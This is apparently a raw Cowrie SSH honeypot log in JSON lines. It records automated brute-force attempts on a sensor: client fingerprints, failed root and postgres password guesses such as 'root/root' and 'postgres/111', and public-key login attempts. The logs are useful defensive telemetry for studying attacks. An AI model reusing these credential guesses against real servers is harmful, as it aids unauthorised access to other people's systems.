{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:18:18.736561Z","src_ip":"208.109.189.255","session":"449fbe7e5a8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"M10t@#S3cur3!W0rd","message":"login attempt [root/M10t@#S3cur3!W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:18:18.933562Z","src_ip":"208.109.189.255","session":"449fbe7e5a8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:18:20.000895Z","src_ip":"208.109.189.255","session":"449fbe7e5a8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":38358,"dst_ip":"10.17.0.5","dst_port":22,"session":"01dd77c3a9bd","protocol":"ssh","message":"New connection: 103.77.175.15:38358 (10.17.0.5:22) [session: 01dd77c3a9bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:18:22.660862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:18:22.664701Z","src_ip":"103.77.175.15","session":"01dd77c3a9bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:18:22.893515Z","src_ip":"103.77.175.15","session":"01dd77c3a9bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maruska","message":"login attempt [root/maruska] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:18:23.575371Z","src_ip":"103.77.175.15","session":"01dd77c3a9bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:18:24.806631Z","src_ip":"103.77.175.15","session":"01dd77c3a9bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":58364,"dst_ip":"10.17.0.5","dst_port":22,"session":"5dd649f7cbca","protocol":"ssh","message":"New connection: 91.92.40.176:58364 (10.17.0.5:22) [session: 5dd649f7cbca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:18:46.285413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:18:46.586940Z","src_ip":"91.92.40.176","session":"5dd649f7cbca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:18:46.604179Z","src_ip":"91.92.40.176","session":"5dd649f7cbca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:18:48.244526Z","src_ip":"91.92.40.176","session":"5dd649f7cbca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:18:49.582386Z","src_ip":"91.92.40.176","session":"5dd649f7cbca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":59898,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f35a046c1c1","protocol":"ssh","message":"New connection: 103.82.20.28:59898 (159.203.135.109:22) [session: 0f35a046c1c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:18:53.207318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:18:53.210817Z","src_ip":"103.82.20.28","session":"0f35a046c1c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:18:53.479821Z","src_ip":"103.82.20.28","session":"0f35a046c1c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"silakrogs","message":"login attempt [root/silakrogs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:18:54.279020Z","src_ip":"103.82.20.28","session":"0f35a046c1c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:18:55.548743Z","src_ip":"103.82.20.28","session":"0f35a046c1c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.76.134.52","src_port":39486,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8118b3842ee","protocol":"ssh","message":"New connection: 177.76.134.52:39486 (10.17.0.5:22) [session: e8118b3842ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:18:59.714108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:18:59.768252Z","src_ip":"177.76.134.52","session":"e8118b3842ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:18:59.908858Z","src_ip":"177.76.134.52","session":"e8118b3842ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"111","message":"login attempt [postgres/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:19:00.482030Z","src_ip":"177.76.134.52","session":"e8118b3842ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:19:01.672293Z","src_ip":"177.76.134.52","session":"e8118b3842ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.216.2","src_port":5988,"dst_ip":"10.17.0.5","dst_port":22,"session":"b26904aa76c8","protocol":"ssh","message":"New connection: 212.192.216.2:5988 (10.17.0.5:22) [session: b26904aa76c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:19:02.666051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:19:02.674714Z","src_ip":"212.192.216.2","session":"b26904aa76c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:19:02.755987Z","src_ip":"212.192.216.2","session":"b26904aa76c8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8a:9d:2f:dc:0f:fa:d0:c3:ed:2d:18:16:f5:3d:d7:dd","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALCpNiBs8cwe6TUfJGLljOGByoEYAF/U75K0dd68SHnGf3Fhvx7kHo4er+o3ZXAwGEm6DjHZwPH6BA3gN7aiKYUukP1hEoCk8KUVHFcqWCfADR6hY3/LSDYk9JfbsQ6srP0QRwq8FUemK8nk2Gec7vZt5/CGhIde4Ogp+c+ujhBfAAAAFQC/PKRV5jkcXnJkF8GB4nBu06VjPQAAAIEAizGitqsMQD+uGhWPV1gUOAfp133LcEmt6VjTt0jh9t+/65atZZhOrmwwEn4xrPODvBO1pyCorG0mPr5dX7I6azX6VLV44pq7qTWZRUbGyQoxMArLI/INS4vpAjKXfUxZXRH/T36ZKFcDiuTualzMYH+GMown2RAGdSZ+kLghP7cAAACAeQKaXbT8gVe3+Dw64QZFwwZF9Wcnlc1XmZyF031KdmEWjky22egvuePWG6sXatYwEp/Ooe3v27kJVBTxCgdgNZO+qgCDNuzebHJ/AKANKkY1zjCRjgap1pdQExeQMBxZPHG8ICOFcmuEUYH13wvwgwO0z7qzCdasXaz23wheFRk=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 8a:9d:2f:dc:0f:fa:d0:c3:ed:2d:18:16:f5:3d:d7:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:19:03.140474Z","src_ip":"212.192.216.2","session":"b26904aa76c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8a:9d:2f:dc:0f:fa:d0:c3:ed:2d:18:16:f5:3d:d7:dd","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALCpNiBs8cwe6TUfJGLljOGByoEYAF/U75K0dd68SHnGf3Fhvx7kHo4er+o3ZXAwGEm6DjHZwPH6BA3gN7aiKYUukP1hEoCk8KUVHFcqWCfADR6hY3/LSDYk9JfbsQ6srP0QRwq8FUemK8nk2Gec7vZt5/CGhIde4Ogp+c+ujhBfAAAAFQC/PKRV5jkcXnJkF8GB4nBu06VjPQAAAIEAizGitqsMQD+uGhWPV1gUOAfp133LcEmt6VjTt0jh9t+/65atZZhOrmwwEn4xrPODvBO1pyCorG0mPr5dX7I6azX6VLV44pq7qTWZRUbGyQoxMArLI/INS4vpAjKXfUxZXRH/T36ZKFcDiuTualzMYH+GMown2RAGdSZ+kLghP7cAAACAeQKaXbT8gVe3+Dw64QZFwwZF9Wcnlc1XmZyF031KdmEWjky22egvuePWG6sXatYwEp/Ooe3v27kJVBTxCgdgNZO+qgCDNuzebHJ/AKANKkY1zjCRjgap1pdQExeQMBxZPHG8ICOFcmuEUYH13wvwgwO0z7qzCdasXaz23wheFRk=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:19:03.143803Z","src_ip":"212.192.216.2","session":"b26904aa76c8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:94:f1:5f:15:13:25:c6:32:6e:0c:25:d4:87:90:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZDZNqq6fYVr8qTkBbjL9PBOuY2u3cCRy8ih3kvLWfkwnYYY6RZdzBgF5Dlqx4iU+v042IFYJC4+mhhUPflUxqVnEesnrsvrlhFRtmHn3AfZpbFQmsEPNS2gB3Oh+sHDUIu/uv4dlWWG8vz4sH1qyrk8qKeS1YrExHIaqh36RKz+fZ2WOG5b0UOSFdkGG7KocJ2EjV8nLyPWfZOb1fmR/xpT+9CSt/2b6TbyhYvMBML+bT/mR02GosqsPNP/a2/Dhh17u+Zp1c2Vk0pWlJtC1yijPpt2QHV4m3FQ0UNjZ65QB4VbE/a5k70NYqsj5/n1stWTdCcvJMxP1MJSNW3gEv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 22:94:f1:5f:15:13:25:c6:32:6e:0c:25:d4:87:90:25","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:19:03.224795Z","src_ip":"212.192.216.2","session":"b26904aa76c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:94:f1:5f:15:13:25:c6:32:6e:0c:25:d4:87:90:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZDZNqq6fYVr8qTkBbjL9PBOuY2u3cCRy8ih3kvLWfkwnYYY6RZdzBgF5Dlqx4iU+v042IFYJC4+mhhUPflUxqVnEesnrsvrlhFRtmHn3AfZpbFQmsEPNS2gB3Oh+sHDUIu/uv4dlWWG8vz4sH1qyrk8qKeS1YrExHIaqh36RKz+fZ2WOG5b0UOSFdkGG7KocJ2EjV8nLyPWfZOb1fmR/xpT+9CSt/2b6TbyhYvMBML+bT/mR02GosqsPNP/a2/Dhh17u+Zp1c2Vk0pWlJtC1yijPpt2QHV4m3FQ0UNjZ65QB4VbE/a5k70NYqsj5/n1stWTdCcvJMxP1MJSNW3gEv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:19:03.228224Z","src_ip":"212.192.216.2","session":"b26904aa76c8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:3e:d1:d2:92:04:c1:61:ae:60:b0:a1:5d:29:47:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC83+XO95lPIHreHcjxDpTUV1ZBYs3WMBMDu/dXg/arIXn8TURtBfptncU6mpt0ioVqhRh2l9onw4tmgFB7dVI2S0aBcZsAibHmelQ1BKCLAgDFXOwIt9/JsR1Y6P+gvs7w4Q535tukhB9YhtuYdFUjBzJpURrubrdxrdiY00h2/vgLVKn34WjO2MnCbKSlxAL/svDeRvrbtb5TZACih1ZsJ0QL0ySicJXS3VIQNgYAIrgTM2DfibSAujhJkImml0CC2HOlAB2sLewkF6tCuO9wXZ1lpFfBRbHEMFLcbsHYo20PBTxaBI9gcJoBsDAAHy0m1bLQ4POO7gOSa9psnrl7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ec:3e:d1:d2:92:04:c1:61:ae:60:b0:a1:5d:29:47:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:19:03.311924Z","src_ip":"212.192.216.2","session":"b26904aa76c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:3e:d1:d2:92:04:c1:61:ae:60:b0:a1:5d:29:47:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC83+XO95lPIHreHcjxDpTUV1ZBYs3WMBMDu/dXg/arIXn8TURtBfptncU6mpt0ioVqhRh2l9onw4tmgFB7dVI2S0aBcZsAibHmelQ1BKCLAgDFXOwIt9/JsR1Y6P+gvs7w4Q535tukhB9YhtuYdFUjBzJpURrubrdxrdiY00h2/vgLVKn34WjO2MnCbKSlxAL/svDeRvrbtb5TZACih1ZsJ0QL0ySicJXS3VIQNgYAIrgTM2DfibSAujhJkImml0CC2HOlAB2sLewkF6tCuO9wXZ1lpFfBRbHEMFLcbsHYo20PBTxaBI9gcJoBsDAAHy0m1bLQ4POO7gOSa9psnrl7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:19:03.319085Z","src_ip":"212.192.216.2","session":"b26904aa76c8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cd:8b:1c:d2:40:20:5b:89:a6:cc:d7:9a:d5:04:8c:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5CZ/cD1H2ciZ/OYI5b1Ho+n383ofVYTL6s1l6y+68wuXMDL4Z/eje6JdaVA6tTsETwgRNOTSiPJHX2OEI6S1BJRkKsEVi9yhW5VBeWLUfIKHT8+DA6CIWrnv857HtZm3xJC615U3s31AHg7QqoWA/HjgpHM9PW9HBAD1KqAXu7P4ZZAkWFtUK5MVcebLxw+NDbrlPOs7p+eNsazVSo8hPPjs6XHZ02d2zcIYjAdpDhxO9zioprmQykZDBFyZO8RzGzBsF2FMSILPRT6CFftZZeon1Rk7ycjLee+bgnmQ79EstlaStdTkEOHP9FI9LIXvcxsL9/yOwoR29BSu/Qi/lQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cd:8b:1c:d2:40:20:5b:89:a6:cc:d7:9a:d5:04:8c:a6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:19:03.419436Z","src_ip":"212.192.216.2","session":"b26904aa76c8","protocol":"ssh"}
